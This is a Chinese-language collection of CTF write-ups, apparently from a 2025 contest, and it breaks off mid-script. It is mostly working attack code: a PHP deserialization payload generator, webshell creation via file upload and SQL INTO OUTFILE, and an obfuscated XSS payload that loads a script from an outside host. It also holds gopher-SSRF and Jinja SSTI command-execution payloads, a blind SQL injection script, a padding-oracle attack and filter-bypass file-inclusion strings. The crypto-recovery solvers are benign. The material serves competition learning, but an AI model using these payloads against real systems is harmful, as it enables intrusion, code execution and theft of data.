$prop_path->setValue($end, 'php://filter/convert.base64-encode/resource=flag.php');

/* 构造 Treasure 并把 door/chest 指向 endPoint 实例(protected 属性通过反射写入) */
$tre = new Treasure();
$rc_tre = new ReflectionClass('Treasure');
$p_door = $rc_tre->getProperty('door'); $p_door->setAccessible(true); $p_door->setValue($tre, $end);
$p_chest = $rc_tre->getProperty('chest'); $p_chest->setAccessible(true); $p_chest->setValue($tre, $end);

/* SaySomething 持有 Treasure,startPoint.direction 指向 SaySomething */
$say = new SaySomething();
$say->sth = $tre;

$start = new startPoint();
$start->direction = $say;

/* 序列化并 base64 编码输出;同时输出 URL 编码版本 */
$payload = base64_encode(serialize($start));
echo $payload . PHP_EOL;
echo urlencode($payload) . PHP_EOL;
?>
PHP

# 运行 PHP 生成 payload
if ! command -v php >/dev/null 2>&1; then
echo "错误:未找到 php 命令。请先安装 PHP CLI(例如 apt install php-cli 或 yum install php-cli)。" >&2
rm -f "$TMPPHP"
exit 1
fi

echo "生成 payload 中... (临时文件: $TMPPHP)"
PAYLOAD_FULL="$(php "$TMPPHP" | sed -n '1p')"
PAYLOAD_URLENC="$(php "$TMPPHP" | sed -n '2p')"

# 输出结果
echo
echo "=== Base64 payload (完整,可直接作为 ma_ze.path 值) ==="
echo "$PAYLOAD_FULL"
echo
echo "=== URL-encoded payload (适合直接放在浏览器地址栏) ==="
echo "$PAYLOAD_URLENC"
echo
echo "=== 示例 curl(请替换 IP:PORT) ==="
echo "curl \"http://<IP>:<PORT>/?ma_ze.path=$PAYLOAD_URLENC\""
echo
echo "临时 PHP 文件:$TMPPHP (运行结束后脚本会删除它)"

# 清理临时文件
rm -f "$TMPPHP"

题目提示与CVE漏洞有关
67
网站那么大一个dcrcms 后台也是弱密码(admin/admin) 于是拿dcrcms为关键词搜索漏洞
发现了dcrcms文件上传(cnvd-2020-27175)
全程复现该漏洞 随后利用蚁剑链接 在/flag下获取flag值即可

1
2
3
4
5
6
7
在一般的 SQLi 题目中,可能会出现 flag 不在数据库中的情况,这时你需要通过利用 SQL 中特殊的函数来进行注入。

在羊城杯 2025 中,有一题 Ezsignin,该题利用 SQLite 中的特性,注入恶意语句到数据库中,然后使用 ATTACH 语句将恶意代码注入到 /app/views/upload.ejs 来进行数据库层面之外的攻击(这里指 SSTI)。更多细节可以参见 SQLite Injection.

本题具有类似的原理,但是实践方式更简单,你需要在特定的位置注入你的恶意代码,然后想办法将其保存在可被执行的位置。

本题根目录下的 flag 文件被保护了起来,你需要通过执行 readflag 来获得 flag.

给的文件夹中 src给了三个页面的具体代码 逐一分析 发现getfilelist.php中存在order参数可进行sql注入
由于注入点是order by 我们利用id结合into outfile的方式来新建文件 apache的默认目录为/var/www/html
那就最终组建payload来创建一个shell.php

1
2
/getFileList.php?order=id+into+outfile+'/var/www/html/shelll.php'
//后半部分试过空格 不成 用了burpsuite转码

这里会报错 但访问根目录/shell.php有正常的页面 说明创建成功了
且在上传文件的情况下会依次显示每个文件的 文件序号 文件名 上传时间 并且以php方式呈现
那就有思路了 把文件名改成相应的php代码并闭合 再创建一个新页面 是不是就能在新页面中注入对应代码呢
先测试了<?php phpinfo();?> 成功运行

1
aa" oonnfofocuscus=eval(atob('cz1jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTtib2R5LmFwcGVuZENoaWxkKHMpO3Muc3JjPScvL3hzLnBlL2tLbCc7')) autofofocuscus "
1
2
3
4
5
gopher://host:port/_<urlencoded-data> 这个格式会把 _<urlencoded-data> 解码后作为原始 TCP 数据直接发送到目标 host:port。

也就是说它不是标准的 HTTP GET,而是把你自己构造的整段 HTTP 请求字节流直接写到目标端口上(相当于直接在 TCP 上发你想要的 HTTP 报文)。

这是 SSRF 利用的常见技巧:当目标的远程请求接口(这里是 PHP 的 curl)只允许你传入一个 URL(无法直接指定 POST 或 body)时,使用 gopher 协议可以把任意原始请求(包括 POST + body)写到内网服务上。
1
url=gopher%3A%2F%2F127.0.0.1%3A5001%2F_POST%2520%2F%2520HTTP%2F1.1%250D%250AHost%253A%2520127.0.0.1%253A5001%250D%250AContent-Type%253A%2520application%2Fx-www-form-urlencoded%250D%250AContent-Length%250D%250A%250D%250A%250D%250A%250D%250A%250D%250Atemplate%253D%257B%257B%2520url_for._globals_%255B%2527_%255D%255B%2527%255D%2527%255D%2527%255D%2527%255D%2527%255D%2527%2527%2527%2522%2522os%2522%2529.popen%2528%2522env%2522%2529.read%2528%2529%2527%2529%2520%2527%257D%257D%255D%2527
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
from decimal import Decimal, getcontext
import re

def main():
# 设置高精度计算环境
getcontext().prec = 100 # 提高精度到100位

# 公开的范数平方
norm_squared = Decimal('15960922284361974605582033637987025644912788')

# 计算范数
norm_G = norm_squared.sqrt()

# 共享密钥 K_Alice 的分量(即归一化后的 g)
K_Alice_str = "0.47292225874042030771896799291807799271678994351844+0.44018598307489329918958641928841974350737975182974i+0.54174915328248053441099670537355485876445440400706j+0.53766968708489053913141352127029842443636489064268k"

# 使用正则表达式安全解析四元数
pattern = r'([+-]?\d+\.\d+)[ij]?' # 匹配浮点数部分
parts = re.findall(pattern, K_Alice_str)

if len(parts) < 4:
# 硬编码分量作为备选方案
w_g = Decimal('0.47292225874042030771896799291807799271678994351844')
x_g = Decimal('0.44018598307489329918958641928841974350737975182974')
y_g = Decimal('0.54174915328248053441099670537355485876445440400706')
z_g = Decimal('0.53766968708489053913141352127029842443636489064268')
else:
w_g = Decimal(parts[0])
x_g = Decimal(parts[1])
y_g = Decimal(parts[2])
z_g = Decimal(parts[3])

# 计算原始整数分量
w = int(round(w_g * norm_G))
x = int(round(x_g * norm_G))
y = int(round(y_g * norm_G))
z = int(round(z_g * norm_G))

# 验证后六位是否匹配
expected_suffixes = [271603, 292847, 939167, 994109]
calculated_suffixes = [w % 1000000, x % 1000000, y % 1000000, z % 1000000]

if calculated_suffixes != expected_suffixes:
print("警告:计算的分量后六位不匹配!")
print(f"计算值:{calculated_suffixes}")
print(f"期望值:{expected_suffixes}")
return

# 将每个整数转换为 9 字节(大端序),然后拼接为 flag
try:
w_bytes = w.to_bytes(9, 'big')
x_bytes = x.to_bytes(9, 'big')
y_bytes = y.to_bytes(9, 'big')
z_bytes = z.to_bytes(9, 'big')
except OverflowError:
# 处理可能的溢出错误
w_bytes = w.to_bytes(10, 'big')[:9] # 取前9字节
x_bytes = x.to_bytes(10, 'big')[:9]
y_bytes = y.to_bytes(10, 'big')[:9]
z_bytes = z.to_bytes(10, 'big')[:9]

flag = w_bytes + x_bytes + y_bytes + z_bytes
print(flag.decode('ascii', errors='ignore')) # 输出 flag

if __name__ == '__main__':
main()

flag{hav3_U_f1nd_ouT_@bout_tr1ck?XD}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
import base64
from pwn import *

def padding_oracle_attack():
# 连接到服务器
r = remote("8.147.132.32", 40772) # 替换为实际地址和端口

# 接收初始数据
initial_b64 = r.recvline().strip()[2:-1].decode().strip()
print(f"Received initial data: {initial_b64}")

# 解码初始数据
decoded = base64.b64decode(initial_b64)
iv = decoded[:16]
ct_blocks = [decoded[i:i+16] for i in range(16, len(decoded), 16)]

flag = b""

# 对每个密文块进行解密
for block_num in range(len(ct_blocks)):
print(f"\nDecrypting block {block_num+1}/{len(ct_blocks)}")
current_ct = ct_blocks[block_num]
prev_ct = iv if block_num == 0 else ct_blocks[block_num-1]

decrypted = bytearray(16)

for byte_pos in range(15, -1, -1):
# 准备篡改的prev_ct
tampered_prev = bytearray(prev_ct)

# 设置后面的字节使得padding正确
padding_value = 16 - byte_pos
for k in range(byte_pos + 1, 16):
tampered_prev[k] = decrypted[k] ^ padding_value

# 暴力破解当前字节
for guess in range(256):
tampered_prev[byte_pos] = guess

# 构建测试数据
test_data = bytes(tampered_prev) + current_ct
test_b64 = base64.b64encode(test_data)

# 发送给oracle
r.sendlineafter(b"base64(iv+ct)\n", test_b64)
response = r.recvline().strip()[2:-1].decode()[:-2].encode()

if response == b'OK':
# 找到正确的值
decrypted[byte_pos] = guess ^ padding_value
print(f"Byte {byte_pos}: {hex(decrypted[byte_pos])}")
break
elif response != b'ERR2':
print(f"Unexpected response: {response}")

# 计算明文块
plaintext_block = bytes([decrypted[i] ^ prev_ct[i] for i in range(16)])
flag += plaintext_block
print(f"Current flag: {flag}")

# 去除可能的padding
try:
from Crypto.Util.Padding import unpad
flag = unpad(flag, 16)
except:
pass

print(f"\nFinal flag: {flag.decode()}")
r.close()

padding_oracle_attack()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
from sage.all import *
from Crypto.Util.number import long_to_bytes

# 给定参数
p = 10424356578148041779853991789187969944186570125402901113699573185144158488847151089093649435805832723680640302469301322004769382556869280204369016044400623
k = 2016425917343526209264752974016973527106088400191647819396444997081866888816818440804306653900752825844532111319244334210470353279795203950886189568717273
m = 9640575609666038466312358795458735166723157003124018050805657432015561577987823522956739610343817276374800232163184447140344754253531140765054930193240661
n = 8539207304708818916453730202381072788689351891251165656488809155919585187699733568697903825636944248694317545906020707873051567183468920809837554174735591
f = 3760813688323379339493776734416231127517302841171887658445242754803946122769018586447782634756726656702581791734772105099204609201876825961922712387326893

# 使用改进的格基构造方法
C = 2^128 # 放大因子
M = 2^300 # 用于平衡方程的常数项

# 构造格基矩阵
L = matrix(ZZ, [
[1, 0, 0, 0, k * M],
[0, 1, 0, 0, m * M],
[0, 0, 1, 0, n * M],
[0, 0, 0, 1, -p * M],
[0, 0, 0, 0, -f * M]
])

# 对格进行LLL规约
L_LLL = L.LLL()

print("LLL规约后的基矩阵:")
print(L_LLL)

# 在规约后的基中寻找短向量
for i in range(L_LLL.nrows()):
v = L_LLL[i]
# 检查向量是否满足条件:前四个分量小,最后一个分量接近0
if all(abs(v[j]) < 2^128 for j in range(4)) and abs(v[4]) < 1:
a, b, c, t, w = v
# 验证方程
S = (k * a + m * b + n * c) % p
if S == f:
print("找到正确解!")
print(f"a = {a}")
print(f"b = {b}")
print(f"c = {c}")
# 转换为字节
a_bytes = long_to_bytes(abs(a))
b_bytes = long_to_bytes(abs(b))
c_bytes = long_to_bytes(abs(c))
flag = a_bytes + b_bytes + c_bytes
try:
print("Flag:", flag.decode())
except:
print("Flag字节序列:", flag)
break
else:
print("未找到有效解,尝试其他方法...")

# 备选方案:直接使用方程求解
print("\n尝试直接求解方程...")
# 创建整数环
R = Integers(p)
# 将系数转换为环元素
k_r = R(k)
m_r = R(m)
n_r = R(n)
f_r = R(f)

# 尝试小范围搜索
print("在小范围搜索可能解...")
found = False
for a_val in range(-10000, 10000):
for b_val in range(-10000, 10000):
# 计算c值
c_val = (f_r - k_r*a_val - m_r*b_val)/n_r
if c_val in ZZ and abs(c_val) < 2^128:
c_val = int(c_val)
# 验证
if (k*a_val + m*b_val + n*c_val) % p == f:
print("找到可能解:")
print(f"a = {a_val}, b = {b_val}, c = {c_val}")
# 转换为字节
a_bytes = long_to_bytes(abs(a_val))
b_bytes = long_to_bytes(abs(b_val))
c_bytes = long_to_bytes(abs(c_val))
flag = a_bytes + b_bytes + c_bytes
try:
print("Flag:", flag.decode())
except:
print("Flag字节序列:", flag)
found = True
break
if found:
break
if not found:
print("小范围搜索未找到解,可能需要更高级的方法。")

找到正确解!
a = 8114814712000897552318176780132
b = 3817874022844315390187606603568
c = 594120294386003970492896945755088253
Flag: flag{op3n_A_d007_t0_th3_w0rld_0f_latt1ce}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
recover_linrec.py
还原线性递推生成的片段并重建 flag(模 p 的线性方程组求解)
适用于题目:长度 L=14 的线性递推,给定连续 2L 个 x 值

用法:直接运行即可,脚本内含示例数据(替换为你的数据)
"""

from typing import List
import math

# --------- 请在此填入题目给出的 p 和连续 2L 个 x 值 ----------
p = 3028255493 # 示例:题目给出的素数 p
# 这是你贴出的最后 28 个 x 值(就是示例)
x_vals = [
2981540507, 1806477191, 1912594455, 2801509477, 401085215, 818458584,
2397034605, 2120401989, 2008340439, 66147874, 1558789534, 2187085801,
671267991, 2930313508, 924435370, 902711250, 1226810076, 769329795,
2328739529, 1228810265, 1382003520, 1967489557, 2811050420, 1008248532,
1643249997, 639108823, 449982542, 1325050025
]
# ----------------------------------------------------------------

# L is the recurrence length
L = len(x_vals) // 2
assert L * 2 == len(x_vals), "需要 2L 个连续 x 值"

# Build linear system: for i in 0..L-1:
# sum_{j=0..L-1} c[j] * x[i+j] ≡ x[L+i] (mod p)
A = [[0]*L for _ in range(L)]
b = [0]*L
for i in range(L):
for j in range(L):
A[i][j] = x_vals[i+j] % p
b[i] = x_vals[L + i] % p

# modular Gaussian elimination to solve A * c = b (mod p)
def modinv(a, mod):
return pow(a, -1, mod)

def solve_mod_linear_system(A: List[List[int]], b: List[int], mod: int) -> List[int]:
n = len(A)
# make augmented matrix
M = [row[:] + [bval] for row, bval in zip(A, b)]
# elimination
row = 0
for col in range(n):
# find pivot
pivot = -1
for r in range(row, n):
if M[r][col] % mod != 0:
pivot = r
break
if pivot == -1:
continue
# swap
M[row], M[pivot] = M[pivot], M[row]
inv_pivot = modinv(M[row][col] % mod, mod)
# normalize
M[row] = [(val * inv_pivot) % mod for val in M[row]]
# eliminate other rows
for r in range(n):
if r != row:
factor = M[r][col] % mod
if factor:
M[r] = [ (M[r][k] - factor * M[row][k]) % mod for k in range(n+1) ]
row += 1
if row == n:
break
# read solution (assuming full rank)
sol = [0]*n
for i in range(n):
# find leading 1
lead = -1
for j in range(n):
if M[i][j] == 1:
lead = j
break
if lead == -1:
continue
sol[lead] = M[i][-1] % mod
return sol

c = solve_mod_linear_system(A, b, p)
print("Recovered coefficients c (mod p):")
for i,ci in enumerate(c):
print(i, ci)

# Convert coefficients back to bytes
# In original generator each piece is up to 3 bytes (they did pieces=[flag[i:i+3]])
# So for each coefficient try to convert to 3-byte big-endian
pieces = []
for ci in c:
# decide length: try 3 bytes first, if leading bytes zero, we can strip
# but keep 3 bytes to preserve structure
blen = max(3, (ci.bit_length() + 7) // 8)
# we expect up to 3 bytes, but guard if >3
if blen > 3:
blen = (ci.bit_length() + 7) // 8
try:
pb = ci.to_bytes(blen, 'big')
except OverflowError:
pb = b''
pieces.append(pb)

# join and try decode
flag_bytes = b''.join(pieces)
# Try to decode ascii and find "flag{"
try:
s = flag_bytes.decode('ascii', errors='ignore')
except:
s = None

print("\nJoined bytes (hex):", flag_bytes.hex())
print("Joined bytes (raw repr):", flag_bytes)
print("Joined decoded (ascii, ignore errors):")
print(s)
# heuristics: find substring like flag{...}
if s and "flag{" in s:
start = s.find("flag{")
end = s.find("}", start)
if end != -1:
print("\nFound flag-like substring:", s[start:end+1])
else:
print("\nFound 'flag{', but no closing brace in decoded string")
else:
print("\nNo obvious 'flag{' found in decoded bytes. You can inspect hex above.")

利用你给出的 28 个连续输出,可以凑出 14 个方程,模 p 解线性方程组得到 c(每个 c 就是一个 3 字节片段的整数表示),把每个 c 转回 bytes 并拼接即可得到 flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
recover_reused_k.py
恢复因为重用 k 导致泄露的私钥,并用得到的 AES key 解密提供的 ciphertext。
给定:n, r, s1, s2, message1, message2, ct (bytes)
步骤:
1. delta_s = s1 - s2 (mod n)
2. delta_e = e1 - e2 (mod n) (e = bytes_to_long(message))
k = delta_e * inv(delta_s) mod n
3. D = ((s1 * k - e1) * inv(r)) mod n
4. d_bytes = D.to_bytes(16, 'big')
5. AES-ECB decrypt ciphertext with key d_bytes, unpad,得到 flag
"""

from Crypto.Util.number import bytes_to_long as b2l
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

# ----------------- 在这里填入题目数据(示例已填) -----------------
n = 278302096557935581738338462024559946959
r = 264579573280920819291511588977260661069
s1 = 157195048165685698821267525173525379816
s2 = 61286613457098845815723227657607632607

mes1 = b"If you used the same random number when signing,"
mes2 = b" then you need to be careful."

# ciphertext 从题目里提供的字节串(复制为 bytes)
ct = b'\xd1\x7fR\xdaz\x9cT\xb8{\x1b\ts\xbcJ6#\x16n\xcedm\xd6v)\x05A3\x87\xc51\xfc\x9d#\xe5\xf2I@\x91\xc3\x96w\xae]\xc3Uf\xd1\xee'
# ----------------------------------------------------------------

# Convert messages to integers (e = bytes_to_long)
e1 = b2l(mes1)
e2 = b2l(mes2)

# modular arithmetic helpers
def modinv(a, m):
return pow(a, -1, m)

# compute k
delta_s = (s1 - s2) % n
delta_e = (e1 - e2) % n
if delta_s == 0:
raise ValueError("delta_s == 0, 无法求逆,s1==s2?")
k = (delta_e * modinv(delta_s, n)) % n
print("Recovered k =", k)

# recover D (private key integer)
# s1 = k^{-1} * (e1 + r*D) => e1 + r*D = s1 * k (mod n)
# => r*D = s1*k - e1 => D = (s1*k - e1) * inv(r) mod n
D = ((s1 * k - e1) * modinv(r, n)) % n
print("Recovered D (int) =", D)

# convert to 16-byte d (big-endian)
d_bytes = D.to_bytes(16, 'big')
print("Recovered d (hex) =", d_bytes.hex())

# decrypt AES-ECB (16-byte key)
cipher = AES.new(d_bytes, AES.MODE_ECB)
pt_padded = cipher.decrypt(ct)
# try to unpad (if PKCS#7)
try:
pt = unpad(pt_padded, 16)
except ValueError:
# 如果不是 PKCS#7 填充,直接输出原始明文
pt = pt_padded
print("Decrypted plaintext (raw):", pt)
try:
print("Decrypted plaintext (decoded):", pt.decode())
except:
pass

# 如果明文里有 flag 格式(如 flag{...}),打印出来
s = None
try:
s = pt.decode()
except:
s = None
if s and "flag{" in s:
start = s.find("flag{")
end = s.find("}", start)
if end != -1:
print("\nFound flag:", s[start:end+1])

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import re

logfile = r"[Misc]日志分析-盲辨海豚\blindsql.log"

# 匹配 ASCII 盲注行
pattern = re.compile(
r"substr\(.*?,(\d+),1\)\)=['\"]?(\d+)['\"]?.*? (\d+)$"
)

flag_chars = {}

with open(logfile, "r", encoding="utf-8") as f:
for line in f:
m = pattern.search(line)
if m:
pos = int(m.group(1))
ascii_val = int(m.group(2))
resp_size = int(m.group(3))
# 200 6 是成功
if resp_size == 6:
flag_chars[pos] = chr(ascii_val)

# 根据位置排序,拼接
flag = "".join(flag_chars[pos] for pos in sorted(flag_chars))
print("Flag:", flag)

1
2
3
4
5
6
7
本题由多个小问题组成,得到各个小问题答案后用下划线"_"拼接即可

1.注册小狐狸钱包,并提交小狐狸钱包助记词个数
2.1145141919810 Gwei等于多少ETH (只保留整数)
3.查询此下列账号第一次交易记录的时间,提交年月日拼接,如20230820
0x949F8fc083006CC5fb51Da693a57D63eEc90C675
4.使用remix编译运行附件中的合约,将输出进行提交

因为说有过滤 并且也实际试过了php直接改webp 不成不让上传 那就做个绕过
画图软件随便画张图 后缀改webp 用hexedit把想要执行的代码藏在文件的十六进制编码后边
61

代码分析一通 是在"get_close_matches", "dedent", "fmean", "listdir", "search", "randint", "load", "sum", "findall", "mean", "choice"函数中随意选五个 让我们通过ssti漏洞的原理来触发 触发五个后获取flag
部分代码会触发WAF过滤导致500 经过筛选和试错后payload如下

1
2
3
4
5
{{ config.__class__.__init__.__globals__['__builtins__']['__import__']('numpy').sum([1,2,3]) }}
{{ config.__class__.__init__.__globals__['__builtins__']['__import__']('statistics').fmean([1,2,3]) }}
{{ config.__class__.__init__.__globals__['__builtins__']['__import__']('statistics').mean([4,5,6]) }}
{{ config.__class__.__init__.__globals__['__builtins__']['__import__']('difflib').get_close_matches('a',['a','b','c']) }}
{{ config.__class__.__init__.__globals__['__builtins__']['__import__']('re').search('a','abc') }}

sql盲注 试下来单引号 空格都有过滤 只能试着用脚本爆破 思路如下
基于布尔盲注的二分法爆破器(Boolean-based blind SQLi, binary search):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
import time
import requests
import urllib3

# Disable SSL warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

url = "https://eci-2ze5i7cbu6fr8hljrxyb.cloudeci1.ichunqiu.com:80/search"
headers = {
'Host': 'eci-2ze5i7cbu6fr8hljrxyb.cloudeci1.ichunqiu.com:80',
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0',
'Accept': '*/*',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate, br',
'Referer': 'https://eci-2ze5i7cbu6fr8hljrxyb.cloudeci1.ichunqiu.com:80/panel',
'Content-Type': 'application/x-www-form-urlencoded',
'Origin': 'https://eci-2ze5i7cbu6fr8hljrxyb.cloudeci1.ichunqiu.com:80',
'Sec-Fetch-Dest': 'empty',
'Sec-Fetch-Mode': 'cors',
'Sec-Fetch-Site': 'same-origin',
'Priority': 'u=1,i'
}

def blind_injection():
result = ""
for i in range(1, 100):
low = 32 # ASCII printable characters start from 32
high = 126 # ASCII printable characters end at 126
found = False

while low <= high:
mid = (low + high) // 2
# SQL injection payload
payload = f"name=amiya' and ascii(substr((select group_concat(flag) from Flag.flag),{i},1))>{mid}%23"

try:
response = requests.post(url, headers=headers, data=payload, verify=False, timeout=10)

# You need to determine what response indicates TRUE vs FALSE
# This depends on the actual application behavior
if "ok" in response.text.lower() or "true" in response.text.lower():
low = mid + 1
else:
high = mid - 1

except Exception as e:
print(f"请求失败: {e}")
time.sleep(1)
continue

time.sleep(0.1) # Be polite to the server

# After the binary search, low is the correct ASCII value
if low <= 126 and low >= 32:
result += chr(low)
print(f"Current result: {result}")
else:
# If no valid character found, we've probably reached the end
break

print(f"Final result: {result}")
return result

# Test the basic connection first
def test_connection():
test_data = {'name': 'amiya'}
try:
response = requests.post(url, headers=headers, data=test_data, verify=False, timeout=10)
print(f"Test response status: {response.status_code}")
print(f"Test response text: {response.text[:200]}...") # First 200 chars
return True
except Exception as e:
print(f"Connection test failed: {e}")
return False

if __name__ == "__main__":
print("Testing connection...")
if test_connection():
print("Starting blind SQL injection...")
blind_injection()
else:
print("Cannot connect to the server. Please check the URL and network connection.")

网页逻辑分析一下 是通过get传参?file=的文件包含 过滤了大部分payload常见词汇(: / php base64等)
并且传参后的回显也有限制 如果传出的东西含有字母f 就会停止输出 明显是不让flag原样输出
那就通过对原始字符串 php://filter/string.rot13/resource=/flag字节级百分号编码(每字节变成 %HH) 然后把每个 % 再编码成 %25(即把 %%25
同时,使用 string.rot13 filter 会把文件内容做 rot13 转换输出 从而避免输出层对字母 f 的检测(flagf rot13→s,不会被 filter_output() 拦截)
通过这样的加密逻辑 得到最终的payload
%2570%2568%2570%253a%252f%252f%2566%2569%256c%2574%2565%2572%252f%2573%2574%2572%2569%256e%2567%252e%2572%256f%2574%2531%2533%252f%2572%2565%2573%256f%2575%2572%2563%2565%253d%252f%2566%256c%2561%2567
提交后获得加密后的flag 解密上传即可

页面打开说是有备份文件 但是试了常见的都找不到 于是乎用dirsearch进行目录爆破
49
发现目录www.zip 打开之后是页面文件 揭示了存在另一目录public-555edc76-9621-4997-86b9-01483a50293e 里边还有残留的.git文件
50
网站里输入并访问 是个登录页面 看来密码就在.git泄露的结果里
51
首先是回滚到了上个提交的版本 发现了tip.txt 提示什么是branch
52
经提示发现某个被删除的branch 果然找到了user.php和密码
53
登陆进去之后还有一题 提示为mac会生成的相关文件 那多半是.DS_Store了
果然在目录下输入后获取了该文件 放进脚本处理一下
54
访问该目录 成功获取flag

一开始是个页面 仨音乐和一flag按钮
经检查存在ssrf漏洞
但试了之后没法直接file://头 提示只能http:// 那就把方向转到另一个页面上
找了一会之后通过该漏洞访问flag.php 发现另一个页面 构建payload后成功获取flag
https://eci-2zefcob15uoexwdjbi17.cloudeci1.ichunqiu.com/?proxy=http://localhost/flag.php?soyorin=file:///flag
45

观察程序的加密形式 关键在于复原p p被分为了两个部分 高位和低位
根据 public_key.pem 读取 n,估计 p 的 bit 长 p_bits ≈ n.bit_length()/2,计算 high_bit_count = round(p_bits * 2/3)(或用题目给的精确数)。

partial_p.txt 拿到被 mask 的高位块(p_high_masked)。根据 mask_bits(例如 12),枚举 0..2^mask_bits-1 的所有低位补全组合,得到 4096 个 p_high_candidate。将这些 candidate 写入 p_high_candidates_full.txt

small_roots 未能找出根,需调参(改 beta, 改 max_mask_bits, 在交互式 Sage 中针对单个 candidate 做深入调试)。
首先生成所有高位的可能性(16*16*16

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
#!/usr/bin/env python3
# gen_candidates.py
# 生成 p_high 候选列表(例如 4096 个)
import argparse, re

def read_public_key(path='public_key.pem'):
txt = open(path,'r').read()
m = re.search(r"n\s*=\s*([0-9]+)", txt)
if not m:
raise RuntimeError("public_key.pem 中找不到 n")
n = int(m.group(1))
return n

def read_partial(path='partial_p.txt'):
s = open(path,'r').read().strip()
# 去掉前缀(例如 ???),保留十六进制部分
hexpart = ''.join(ch for ch in s if ch in "0123456789abcdefABCDEF")
if hexpart == '':
raise RuntimeError("partial_p.txt 看起来没有 hex 内容")
return int(hexpart, 16), hexpart

def main():
parser = argparse.ArgumentParser()
parser.add_argument('--mask', type=int, default=12, help='被 mask 的低位数,默认 12 -> 4096 个候选')
parser.add_argument('--highbits', type=int, default=None, help='已知的 high_bit_count (bits),默认取 p_bits*2/3')
parser.add_argument('--out', default='p_high_candidates_full.txt')
args = parser.parse_args()

n = read_public_key()
partial_int, hexstr = read_partial()

p_bits_est = (n.bit_length() + 1)//2
if args.highbits is None:
high_bit_count = int(p_bits_est * 2/3)
else:
high_bit_count = int(args.highbits)

mask_bits = args.mask
print("n bits:", n.bit_length(), "est p bits:", p_bits_est, "high_bit_count:", high_bit_count)
print("partial hex:", hexstr)
print("mask bits:", mask_bits, "=> candidates:", 2**mask_bits)

# 解释:partial_int 被视为 p_high_masked(即高位段内低 mask_bits 位未知道或被置0)
# 我们按照 candidate = partial_int | k (k ranges 0..2^mask_bits-1)
with open(args.out,'w') as f:
idx = 0
for k in range(0, 1<<mask_bits):
cand = partial_int | k
f.write(f"{idx} {cand}\\n")
idx += 1
print("写入", args.out, "完成。")

if __name__ == '__main__':
main()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
#!/usr/bin/env sage
# -*- coding: utf-8 -*-
"""
recover_from_candidates.sage.py

在 Sage 环境下运行:
sage -python recover_from_candidates.sage.py

说明:
- 需要文件: public_key.pem, ciphertext.bin, p_high_candidates_full.txt
- p_high_candidates_full.txt 格式示例(每行一个候选):
0 1705444444814700337...
1 6721900954927818992...
...
(第二列为十进制整数表示的 high_p)
"""

from sage.all import *
from Crypto.Util.number import long_to_bytes
import re
import sys
import time

# ---------- 配置(如需可修改) ----------
CANDIDATES_FILE = "p_high_candidates_full.txt"
PUBFILE = "public_key.pem"
CIPHFILE = "ciphertext.bin"

# mask_bits 将尝试的范围(表示 leaked high block 内低位被 mask 的位数)
MAX_MASK_BITS = 24 # 可按需扩大/缩小

# beta 参数列表(small_roots 使用)
